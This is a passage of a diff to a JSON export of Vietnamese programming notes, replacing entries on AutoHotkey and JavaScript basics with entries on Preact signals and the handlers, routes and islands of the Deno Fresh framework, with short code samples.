kép `\"`. Tuy nhiên nhớ rằng [[JSON không cho phép để dư dấu phẩy, không có comment, bắt buộc phải dùng ngoặc kép, key phải được đóng trong ngoặc kép|trong JSON thì chỉ có thể dùng nháy kép chứ không được dùng nháy đơn]].\n\n[The Complete Guide to PowerShell Punctuation - Simple Talk](https://www.red-gate.com/simple-talk/sysadmin/powershell/the-complete-guide-to-powershell-punctuation/)\n\n", + "Toàn bộ nội dung": "Vấn đề từ `useState`:\r\n![Image showing how the depth of the component tree directly affects rendering performance when using standard state updates.](https://preactjs.com/signals/state-updates.png) \r\n\r\nVấn đề từ context:\r\n![Context can skip updating components until you read the value out of it. Then it's back to memoization.](https://preactjs.com/signals/context-chaos.png)\r\n\r\nĐiều kiện lý tưởng:\r\n```jsx\r\n// Imagine this is some global state and the whole app needs access to:\r\nlet count = 0;\r\n\r\nfunction Counter() {\r\n return (\r\n <button onClick={() => count++}>\r\n value: {count}\r\n </button>\r\n );\r\n}\r\n```\r\n\r\nĐiều mà signal có thể tạo ra:\r\n```jsx\r\n// Imagine this is some global state that the whole app needs access to:\r\nconst count = signal(0);\r\n\r\nfunction Counter() {\r\n return (\r\n <button onClick={() => count.value++}>\r\n Value: {count.value}\r\n </button>\r\n );\r\n}\r\n```\r\nThậm chí còn có thể viết `Value: {count.value}` cũng được. (`count++` thì không được.) \r\n\r\nNguồn:: [Introducing Signals – Preact](https://preactjs.com/blog/introducing-signals/)\r\n[Signals – Preact Guide](https://preactjs.com/guide/v10/signals/)\r\n![Why Signals Are Better Than React Hooks - YouTube](https://youtu.be/SO8lBVWF2Y8?si=e5ufEuX6SJqA2wjO)\r\n![PREACT Signals: Everything you need to know in 15 minutes - YouTube](https://youtu.be/aDVl8vORUUg?si=2DbxsNx-1fZxhhua)\r\n\r\nI just refactor my code from using `useState` to signals. By being able to gather all the signals in one file, now I don't have to use so many props to send states and their setters, don't have to import many types for them, and having to manage all the variables. It just feels... great ![🫠](https://discord.com/assets/5ba2d0026109e7402c0e.svg)![🫠](https://discord.com/assets/5ba2d0026109e7402c0e.svg)![🫠](https://discord.com/assets/5ba2d0026109e7402c0e.svg)\r\n![](https://media1.tenor.com/m/AbAExTbXCQsAAAAC/kid-kid-evil-spiderman-dance.gif) \r\n\r\nNếu phải truyền setter thì dùng signal sẽ không phải truyền cả getter lẫn setter. Prop bây giờ gọn hơn nhiều, chủ yếu chỉ còn dữ liệu từ server truyền sang client, và việc tách \r\nTrước:\r\n```tsx\r\nexport default function KhungTìmBàiĐăngHoặcNơiĐăng({tênDanhSách, fuse}: {tênDanhSách: TênDanhSách; fuse: Fuse}) {\r\n const [searchList, setSearchList] = useState<DanhSáchKếtQuảTìmKiếm>(undefined);\r\n const [cursor, setCursor] = useState<Cursor>(0);\r\n const [mụcĐượcChọn, setMục] = useState<MụcĐượcChọn>(undefined);\r\n const [query, setQuery] = useState<string>(\"\");\r\n switch (tênDanhSách) {\r\n case \"nơi đăng\":\r\n nơiĐăngChưaXácĐịnhVịTríĐượcChọn.value =\r\n mụcĐượcChọn as NơiĐăngChưaXácĐịnhVịTrí;\r\n break;\r\n\r\n case \"bài đăng\":\r\n bàiĐăngĐượcChọn.value = mụcĐượcChọn as BàiĐăng;\r\n break;\r\n }\r\n return (\r\n <div id={`div-${kiểuKebab(tênDanhSách)}`} >\r\n <InputTìmBàiĐăngHoặcNơiĐăng fuse={fuse} tênDanhSách={tênDanhSách} />\r\n\t <DanhSáchKếtQuảTìmKiếm\r\n\t tênDanhSách={tênDanhSách}\r\n\t danhSáchKếtQuảTìmKiếm={searchList}\r\n\t cursor={cursor}\r\n\t setCursor={setCursor}\r\n\t setSelectedItem={setMục}\r\n\t />\r\n\t <ModalTạoMới\r\n\t tênDanhSách={tênDanhSách}\r\n\t URL={query}\r\n\t setSelectedItem={setMục}\r\n\t />\r\n <KếtQuảĐượcChọn loạiVậtThể={tênDanhSách} />\r\n <br />\r\n </div>\r\n );\r\n}\r\n```\r\nSau:\r\n```tsx\r\nexport default function DivTìmBàiĐăngHoặcNơiĐăng({ tênDanhSách }: { tênDanhSách: TênDanhSách }) {\r\n let mụcĐượcChọn: Signal<MụcĐượcChọn>;\r\n let query: Signal<string>;\r\n let flexSearch: FlexSearchBàiĐăngHoặcNơiĐăng;\r\n switch (tênDanhSách) {\r\n case \"bài đăng\":\r\n mụcĐượcChọn = bàiĐăngĐượcChọn;\r\n query = queryBàiĐăng;\r\n flexSearch = flexSearchBàiĐăngSignal.value;\r\n break;\r\n case \"nơi đăng\":\r\n mụcĐượcChọn = nơiĐăngChưaXácĐịnhVịTríĐượcChọn;\r\n query = queryNơiĐăng;\r\n flexSearch = flexSearchNơiĐăngSignal.value;\r\n break;\r\n }\r\n return (\r\n <div id={`div-tìm-${kiểuKebab(tênDanhSách)}`}>\r\n <InputTìmBàiĐăngHoặcNơiĐăng tênDanhSách={tênDanhSách} mụcĐượcChọn={mụcĐượcChọn} query={query} flexSearch={flexSearch} />\r\n <DanhSáchKếtQuảTìmKiếm tênDanhSách={tênDanhSách} mụcĐượcChọn={mụcĐượcChọn} query={query} />\r\n <KếtQuảĐượcChọn loạiVậtThể={tênDanhSách} />\r\n <ModalTạoMới tênDanhSách={tênDanhSách} mụcĐượcChọn={mụcĐượcChọn} />\r\n </div>\r\n );\r\n}\r\n```\r\n\r\n[[Dùng setState gọn hơn signal nếu không phải truyền setter qua nhiều hàm khác nhau]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-26T07:59:00.000Z", - "Ngày cập nhật": "2024-08-25T14:03:00.000Z", - "id": "WA" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Zu" }, { - "Tiêu đề": "AutoHotkey combines 3 concepts into 1 built-in basic object type", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/AutoHotKey/AutoHotkey combines 3 concepts into 1 built-in basic object type", + "Tiêu đề": "Route là code viết cho server. Island là code viết cho client", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Route là code viết cho server. Island là code viết cho client", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "AutoHotkey combines 3 concepts into 1 built-in basic object type: \r\n- linear arrays (e.g. obj[1] := \"value\") (AKA list/vector) \r\n- associative arrays (e.g. obj[\"key\"] := \"value\") (AKA dictionary/map) \r\n- default class (custom/built-in, keys/value properties/dynamic properties/methods, can be added/modified/removed, to give custom classes) \r\n \r\nE.g. some ways to create an AHK basic object. \r\nNote: an AHK basic object does not have base object.\r\n\r\nCode: [Select all](https://www.autohotkey.com/boards/viewtopic.php?f=7&t=54588#) - [Expand View](https://www.autohotkey.com/boards/viewtopic.php?f=7&t=54588#) - [Download](https://www.autohotkey.com/boards/viewtopic.php?f=7&t=54588# \"download Untitled.ahk\") - [Toggle Line numbers](https://www.autohotkey.com/boards/viewtopic.php?f=7&t=54588# \"Toggle Line numbers\")\r\n\r\n```autohotkey\r\n;in each case obj is a basic object, and identical:\r\nobj := [\"a\", \"b\", \"c\"]\r\nobj := Array(\"a\", \"b\", \"c\")\r\nobj := {1:\"a\", 2:\"b\", 3:\"c\"}\r\nobj := Object(1,\"a\", 2,\"b\", 3,\"c\")\r\nobj := StrSplit(\"a,b,c\", \",\")\r\n\r\n;here, MyClass is also a basic object:\r\nclass MyClass\r\n{\r\n\tMyMethod()\r\n\t{\r\n\t}\r\n}\r\n\r\nMsgBox, % IsObject(ObjGetBase(obj)) ;0\r\nMsgBox, % IsObject(ObjGetBase(MyClass)) ;0\r\n\r\n;note: an instance of MyClass is *not* a basic object:\r\nobj2 := new MyClass\r\nMsgBox, % IsObject(ObjGetBase(obj2)) ;1\r\n```\r\n\r\nNguồn:: [jeeswg's object classes tutorial - AutoHotkey Community](https://www.autohotkey.com/boards/viewtopic.php?f=7&t=54588)\r\n", + "Toàn bộ nội dung": "[[Các hàm được môi trường thực thi cung cấp không hoạt động được ở island]]\nIf all your JavaScript only runs in the client, then you don't have the problem of how do I share signals from the server to the client, simply because there is no js code running on the server. Same is true if everything is running on the server. When all code only ever runs in the same runtime, you avoid the whole \"how do I share stuff with the other runtime\" which is a pretty complex problem.\n\nRegarding why sharing signals doesn't work per import statement across runtimes: It's the same problem as when you open your website in Chrome, trigger some signal update and then open the same site in Firefox. Despite you having updated the signal in Chrome, it won't be updated in Firefox, simply because they both run in their own runtime and have no clue update each other\n\nEvery other framework which renders parts on the server and parts of it on the client has this problem. Doesn't matter if they are built around the island concept or something else\nNguồn:: [Discord](https://discord.com/channels/684898665143206084/991511118524715139/1238477389663834152)\n\n[[Route không bao giờ được gửi đến client. Island được chạy ở cả server và client]]\n[[Render phía máy chủ nhanh và SEO tốt. Render phía người dùng phù hợp cho những ứng dụng cần tương tác nhiều]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "WB" + "Ngày cập nhật": "2024-08-24T05:28:00.000Z", + "id": "Zv" }, { - "Tiêu đề": "Tạo phím tắt bằng AutoHotKey", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/AutoHotKey/Tạo phím tắt bằng AutoHotKey", + "Tiêu đề": "Có một số hàm ở server sẽ không serialize được", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Route, handler/Có một số hàm ở server sẽ không serialize được", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Autohotkey là một phần mềm hỗ trợ người dùng Window, giúp thực hiện các thao tác nhanh và thuận tiện hơn, phù hợp với người làm văn phòng.\r\n\r\nThay thế các nút vô dụng trên bàn phím, như <kbd>F1</kbd>, <kbd>Pause</kbd> bằng các nút khác\r\n```\r\n::->::→\r\n:*:<->::↔\r\n:*:(::() {Left 2}\r\n;~ :*:'::'' {Left 2}\r\n:*:\"::\"\" {Left 2}\r\n:*:[::{[ 2}{bs}}{]} {Left 2}\r\n:*:{::{{ 2}{bs}{}} {Left 2}\r\n:*:\\cross::❌❌\r\n:*:\\check:✔️✅\r\n:*:lnaiv::[naïve realism](https://en.wikipedia.org/wiki/Na%C3%AFve_realism_(psychology\\))\r\n:*:lsce::[self-conscious emotions](https://en.wikipedia.org/wiki/Self-conscious_emotions)\r\n:*:chaoban::Chào bạn. Cho mình hỏi bạn là ai vậy? Cám ơn nhé\r\nCapslock::Ctrl\r\n+NumLock::CapsLock\r\n```\r\n![](https://youtu.be/YmQPxkS3HjQ) \r\n", + "Toàn bộ nội dung": "Passing props to islands is supported, but only if the props are serializable. Fresh can serialize the following types of values:\r\n\r\n- Primitive types `string`, `boolean`, `bigint`, and `null`\r\n- Most `number`s (`Infinity`, `-Infinity`, and `NaN` are silently converted to `null`)\r\n- Plain objects with string keys and serializable values\r\n- Arrays containing serializable values\r\n- Uint8Array\r\n- JSX Elements (restricted to `props.children`)\r\n- Preact Signals (if the inner value is serializable)\r\n\r\nCircular references are supported. If an object or signal is referenced multiple times, it is only serialized once and the references are restored upon deserialization. Passing complex objects like `Date`, custom classes, or functions is not supported.\r\n\r\nTrích từ:: [Interactive islands | Fresh docs](https://fresh.deno.dev/docs/concepts/islands)\r\n[Why is a function not serializable?](https://stackoverflow.com/q/27926619/3416774)\r\n\r\nHệ quả là [[Route không bao giờ được gửi đến client. Island được chạy ở cả server và client]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-30T08:56:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "WC" + "id": "Zw" }, { - "Tiêu đề": "Code giống như các nốt nhạc, engine giống như nhạc công, còn runtime giống như nhạc cụ", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Code giống như các nốt nhạc, engine giống như nhạc công, còn runtime giống như nhạc cụ", + "Tiêu đề": "Khi có một yêu cầu tới một route, handler được gọi trước, sau đó tới component", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Route, handler/Khi có một yêu cầu tới một route, handler được gọi trước, sau đó tới component", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nếu như một lập trình viên là một nhạc sĩ, thì cái script họ viết ra chính là cái sheet nhạc. Một bản nhạc được phát ra khi nhạc công nhìn vào văn bản nhạc và thao tác trên nhạc cụ. Tương tự, một chương trình chạy được khi engine đọc code và sử dụng runtime. Engine là thứ có thể đọc và hiểu code, còn runtime là toàn bộ những thứ mà engine dùng để tương tác với môi trường bên ngoài.\n\nNếu như đây là code của một chương trình:\n![|300](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjW6umUr-rqk6ZG5yrJrofzju5iJL3Uy_X7YQEH7Mx2PfS3kxey6cgIKUVdLVVyDAprlND4sCFc9d5twCihMVYsGv_iN5Eqp-tt2g_Xcvhhlt1PS9tlePGUso4OMNfAVIGgIlIt5wlVOKk/s1600/Croatian+Rhapsody_0001.png)\nThì đây là chương trình đó khi nó có engine và runtime:\n![Maksim Mrvica - Croatian Rhapsody (LIVE) - YouTube](https://www.youtube.com/watch?v=3aTEjyzWKFQ)\n\nCó nhiều cách thức để ta ký hiệu âm thanh xuống trang giấy, cũng như có nhiều cách thức để lưu một ý tưởng vào ổ đĩa. JavaScript là một cách để lưu ý tưởng, Python là một cách khác. Cái code mà bạn thường nghe nói tới chính là cái cách để bạn ký hiệu những ý tưởng của mình. Chúng chỉ là những ký hiệu, giống như những dòng chữ này. \n\nĐể chạy được những ký hiệu này, chúng cần tới engine, thứ có thể đọc và hiểu chúng. Có nhiều loại runtime khác nhau cho JavaScript, và đây là những runtime bạn thường được nghe đến: Firefox, Chrome, Safari, Opera, Edge, Node, Deno, Electron. Như bạn thấy, 5 cái đầu chính là các trình duyệt chứ chẳng phải là gì xa lạ. Còn Electron chính là cái để viết ra phiên bản desktop cho Obsidian, Notion, Slack, VS Code, Discord, Dropbox, Figma, v.v. Trừ Firefox, Safari và Edge ra, thì tất cả các runtime còn lại đều dùng V8, một engine do Google viết ra.\n\nNode là một runtime, một môi trường thực thi cho JavaScript. Sau một thập kỷ phát triển, tác giả của Node viết đã viết ra Deno để khắc phục những thiếu sót của Node. Có thể xem bài diễn thuyết [10 điều tôi hối hận về Node.js](https://www.youtube.com/watch?v=M3BM9TB-8yA \"10 Things I Regret About Node.js - Ryan Dahl - JSConf EU - YouTube\") của tác giả. (Tác giả không giải thích cái tên Deno có nghĩa là gì, nhưng nhiều người đoán nó là viết ngược lại của Node.)\n\nXem thêm:: [[Stack Overflow]], [What is the difference between JavaScript Engine and JavaScript Runtime Environment - Stack Overflow](https://stackoverflow.com/questions/29027845/what-is-the-difference-between-javascript-engine-and-javascript-runtime-environm)\n\n[[Runtime là lúc chạy, runtime environment là môi trường thực thi. Nhưng nhiều lúc môi trường thực thi được gọi tắt là runtime]]", + "Toàn bộ nội dung": "Handlers in Fresh are part of the routing mechanism. They are called before the component function is called. Typically they are used to pull data from a database or another API. They can be thought of as a middleware to the current route.\r\n\r\n```jsx\r\nexport const handler = { \r\n\tasync GET(req, ctx) { \r\n\t\tconst data = await loadData(); // This triggers HTML rendering \r\n\t\treturn ctx.render(data); \r\n\t} \r\n} \r\nexport default function MyPage(props) {\r\n\treturn <h1>{props.data.name}</h1> \r\n}\r\n```\r\nIf no `handler` export is present, Fresh will add a default one that looks like this behind the scenes:\r\n\r\n```js\r\nexport const handler = { \r\n\tGET: (req, ctx) => ctx.render() \r\n}\r\n```\r\n\r\nNguồn:: [Discord](https://discord.com/channels/684898665143206084/1192124376645124310/1192126763011158056)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:31:00.000Z", - "Ngày cập nhật": "2024-08-24T05:40:00.000Z", - "id": "WD" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Zx" }, { - "Tiêu đề": "Biến được so sánh với nhau bằng địa chỉ bộ nhớ, không phải giá trị thực sự của biến", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Biến được so sánh với nhau bằng địa chỉ bộ nhớ, không phải giá trị thực sự của biến", + "Tiêu đề": "Kết quả được trả về ctx.render(arg) của handler sẽ được truyền lại vào props.data của component", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Route, handler/Kết quả được trả về ctx.render(arg) của handler sẽ được truyền lại vào props.data của component", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Việc so sánh `{} === {}` sẽ luôn trả giá trị là `false` bởi vì mỗi vật thể có địa chỉ bộ nhớ khác nhau\r\n\r\nNguồn:: [[✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Stack Overflow]], [This condition will always return 'false' since JavaScript compares objects by reference, not value, what does this mean in the current Scenario?](https://stackoverflow.com/a/77140099/3416774)\r\n", + "Toàn bộ nội dung": " Fresh takes whatever you pass into ctx.render(arg) and sets it on props.data. There is no code to ensure that it is correct or anything. It just passes it along. If nothing is passed to ctx.render() then props.data will be undefined\r\n```tsx\r\nimport { Handlers, PageProps } from \"$fresh/server.ts\"\r\nexport const handler: Handlers = {\r\n\tGET(req, ctx) {\r\n return ctx.render({req}) \r\n }\r\n}\r\nexport default function App(props: PageProps){\r\n return <h1>\r\n {props.data.req.url} \r\n </h1>\r\n} \r\n```\r\n[[Route cần có ít nhất một handler hoặc một component]]. [[Props là đối số đầu tiên của hàm component, dùng để truyền giá trị các thuộc tính của nó]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-21T10:58:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "WE" + "id": "Zy" }, { - "Tiêu đề": "Biến được tạo mà không có từ khoá khai báo (var, let, const) luôn là biến toàn cục, kể cả khi được tạo trong hàm", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Biến được tạo mà không có từ khoá khai báo (var, let, const) luôn là biến toàn cục, kể cả khi được tạo trong hàm", + "Tiêu đề": "Nếu viết handler dưới dạng vật thể thì chỉ những phương thức là động từ HTTP mới được dùng. Nếu viết dưới dạng hàm thì cái hàm đó sẽ trở thành handler luôn", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Route, handler/Nếu viết handler dưới dạng vật thể thì chỉ những phương thức là động từ HTTP mới được dùng. Nếu viết dưới dạng hàm thì cái hàm đó sẽ trở thành handler luôn", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "### Khác với [`var`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var)\r\n\r\nCác biến được khai báo với `var` có phạm vi `function scope`, còn với `let`, `const` thì nó phạm vi `block scope`\r\n\r\n- `function scope`: Biến được khai báo dùng được trong toàn bộ function\r\n \r\n ```js\r\n function usingVar() {\r\n let x = 1;\r\n if (true) {\r\n var y = 2;\r\n console.log(x); // 1\r\n }\r\n \r\n console.log(y); // 2\r\n }\r\n ```\r\n \r\n\r\n`block scope`: Biến được khai báo chỉ sử dụng được trong block {} nơi mà nó được khai báo\r\n\r\n```js\r\nfunction usingLet() {\r\n let x = 1;\r\n if (true) {\r\n let y = 2;\r\n console.log(x); // 1\r\n }\r\n\r\n console.log(y); // Error: y is not defined\r\n}\r\n```\r\n\r\nHoặc đối với biến trong vòng for:\r\n\r\n```js\r\nfor (let i = 0; i < 5; ++i) {\r\n console.log(i); // OK\r\n}\r\n\r\nconsole.log(i); // Error: y is not defined\r\n```\r\n\r\n### let vs const\r\n\r\n- `let`: biến đã khai báo có thể được gán lại\r\n \r\n ```js\r\n let letVar = 'My old name';\r\n if (true) {\r\n letVar = 'I can have new name';\r\n }\r\n ```\r\n \r\n\r\n`const`: biến đã khai báo không thể được gán lại\r\n\r\n```js\r\nconst constVar = 'Only god can change me';\r\nif (true) {\r\n constVar = 'Don\\'t try to change me'; // Error: invalid assignment\r\n}\r\n```\r\n\r\nTuy nhiên nếu const là object thì giá trị của object vẫn có thể bị thay đổi. Chỉ _không thể bị gán thành object khác_ mà thôi.\r\n\r\n```js\r\nconst myObject = {\r\n id: 1,\r\n name: 'Can be changed'\r\n};\r\nmyObject.name = 'New name'; // OK\r\nmyObject = null; // Error\r\n```\r\n\r\nNguồn:: [Tham chiếu và ghi chú ngắn về ES6, ESNext](https://viblo.asia/p/tham-chieu-va-ghi-chu-ngan-ve-es6-esnext-Do7544PQ5M6)\r\n", + "Toàn bộ nội dung": "If you pass an object, then it will only call the property with the relevant HTTP verb. If it's a function then the function is treated as the handler itself.\r\nmarvinh.: The basic explanation of what a handler is:\r\n\r\n```tsx\r\nconst handler = {\r\n GET(req) {\r\n return new Response(\"hello this is GET\")\r\n }\r\n}\r\n\r\n// Somewhere inside Fresh\r\nDeno.serve(req => {\r\n const method = req.method;\r\n if (handler[method) {\r\n return handler[method](req)\r\n }\r\n\r\n return new Response(\"not found\", { status: 404 })\r\n})\r\n \r\n```\r\nmarvinh.: req.body is a readable stream. Preact doesn't support rendering readable streams inside JSX, so it will be skipped during rendering\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2024-03-24T03:24:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "WF" + "id": "Zz" }, { - "Tiêu đề": "await với async là cách để viết hàm bất đồng bộ với tư duy khi viết hàm tuần tự", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Callback, promise, async, await/await với async là cách để viết hàm bất đồng bộ với tư duy khi viết hàm tuần tự", + "Tiêu đề": "Route cần có ít nhất một handler hoặc một component", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Route, handler/Route cần có ít nhất một handler hoặc một component", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[Why is my variable unaltered after I modify it inside of a function? - Asynchronous code reference](https://stackoverflow.com/q/23667086/3416774)\n![](https://wizardzines.com/images/uploads/async-functions.png) \n\nViệc này và việc viết JSX giống nhau ở chỗ đó là viết cái này theo cách tư duy của cái kia. [[JSX là cách để viết JS như thể viết HTML]]", + "Toàn bộ nội dung": "[[Khi có một yêu cầu tới một route, handler được gọi trước, sau đó tới component]]\r\nNếu không có handler nào thì Fresh sẽ tự động thêm một cái mặc định này:\r\n\r\n```tsx\r\nexport const handler = {\r\n  get(req, ctx) => ctx.render()\r\n}\r\n```\r\nFresh takes whatever you pass into ctx.render(arg) and sets it on props.data. There is no code to ensure that it is correct or anything. It just passes it along. If nothing is passed to ctx.render() then props.data will be undefined\r\n\r\nNguồn:: [Routes | Fresh docs](https://fresh.deno.dev/docs/concepts/routes)\r\n\r\n[[Kết quả được trả về ctx.render(arg) của handler sẽ được truyền lại vào props.data của component]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-30T06:00:00.000Z", - "id": "WG" + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Z-" }, { - "Tiêu đề": "callback là một hàm được truyền vào một hàm khác giống như một tham số bình thường", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Callback, promise, async, await/callback là một hàm được truyền vào một hàm khác giống như một tham số bình thường", + "Tiêu đề": "Route không bao giờ được gửi đến client. Island được chạy ở cả server và client", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Route, handler/Route không bao giờ được gửi đến client. Island được chạy ở cả server và client", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Hàm cần gọi phải ở trong then]] ", + "Toàn bộ nội dung": "Lý do:: [[Có một số hàm ở server sẽ không serialize được]], [[Serialize là cách duy nhất để truyền dữ liệu từ server tới client và ngược lại]]\r\nLý do:: [[Những hàm của môi trường thực thi không chạy được trên trình duyệt]], [[Các hàm được môi trường thực thi cung cấp không hoạt động được ở island]] \r\n[[Render phía máy chủ nhanh và SEO tốt. Render phía người dùng phù hợp cho những ứng dụng cần tương tác nhiều]]\r\nNguồn:: [Create a project | Fresh docs](https://fresh.deno.dev/docs/getting-started/create-a-project)\r\n\r\n[[Fresh và Astro đều cung cấp khả năng render island lần đầu tại server và những lần sau tại client]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "WH" + "Ngày cập nhật": "2024-08-24T05:28:00.000Z", + "id": "Z_" }, { - "Tiêu đề": "Callback là những hàm được dùng như đối số của hàm khác", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Callback, promise, async, await/Callback là những hàm được dùng như đối số của hàm khác", + "Tiêu đề": "Serialize là cách duy nhất để truyền dữ liệu từ server tới client và ngược lại", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Route, handler/Serialize là cách duy nhất để truyền dữ liệu từ server tới client và ngược lại", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![[Hàm gọi hàm callback đã xác định sẵn tham số truyền vào cho callback. Callback bắt buộc phải có đúng thứ tự và kiểu biến được hàm gọi cho trước]]\r\n", + "Toàn bộ nội dung": "[[JSON là cách để biểu diễn vật thể ra chữ, chứ tự nó không phải là vật thể]]\r\nNguồn:: \r\n\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "WI" + "id": "a0" }, { - "Tiêu đề": "Dùng await trong filter sẽ chẳng filter được gì", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/Biến và hàm/Callback, promise, async, await/Dùng await trong filter sẽ chẳng filter được gì", + "Tiêu đề": "So sánh Single Page App (SPA) vs Progressive Web App (PWA)", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/So sánh Single Page App (SPA) vs Progressive Web App (PWA)", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [Map, filter and reduce với async/await](https://anonystick.com/blog-developer/map-filter-and-reduce-voi-asyncawait-2020042532834108)[How to use Array.prototype.filter with async?](https://stackoverflow.com/q/47095019/3416774)", + "Toàn bộ nội dung": "Hôm nay mình thấy một team nói với nhau về **Progressive web app** mà không phân biệt nó khác **Single page app** đến mức nào? Và công nghệ chạy background ra sao! Chỉ biết là nó dùng ajax, javascript thư viện của thằng này thằng kia nên nó là Progressive web app đó, chứ hỏng có hiểu là cơ chế hoạt động nó ra sao hết thấy tội mà thôi cũng kệ… luôn chứ sao 😀\r\n\r\n![](https://sp-ao.shortpixel.ai/client/to_auto,q_glossy,ret_img,w_1369,h_451/http://lcdung.top/wp-content/uploads/2018/01/Untitled.png)\r\n\r\nNhư hình mô tả bên trên của mình thì chắc cũng hiểu sơ sơ tốc độ load của từng loại khái niệm về _**web app, single page app, progressive web app**_!\r\n\r\n![](https://sp-ao.shortpixel.ai/client/to_auto,q_glossy,ret_img,w_690,h_257/http://lcdung.top/wp-content/uploads/2018/01/web_development.jpg)\r\n\r\n## Web app\r\n\r\n![](https://sp-ao.shortpixel.ai/client/to_auto,q_glossy,ret_img,w_550,h_301/http://lcdung.top/wp-content/uploads/2018/01/download.jpg)\r\n\r\nCái này chắc mọi người ai cũng từng nghe web động (_dynamic web app_) cơ chế hoạt động của web app từ thời sơ khai cho đến nay cũng không thay đổi nhiều với phương thức truyền dữ liệu là Post form hoặc reload trang để Get param từ url.\r\n\r\n- **Browser (Client site):**\r\n - Yêu cầu hỗ trợ technique không cần nhiều!\r\n - Hoạt động: mỗi lần gửi request thì browser phải đợi response, _**load lại**_ rất nhiều thông tin từ server site như gói dữ liệu html, hình ảnh, css, js,…\r\n- **Web server (Server site):** 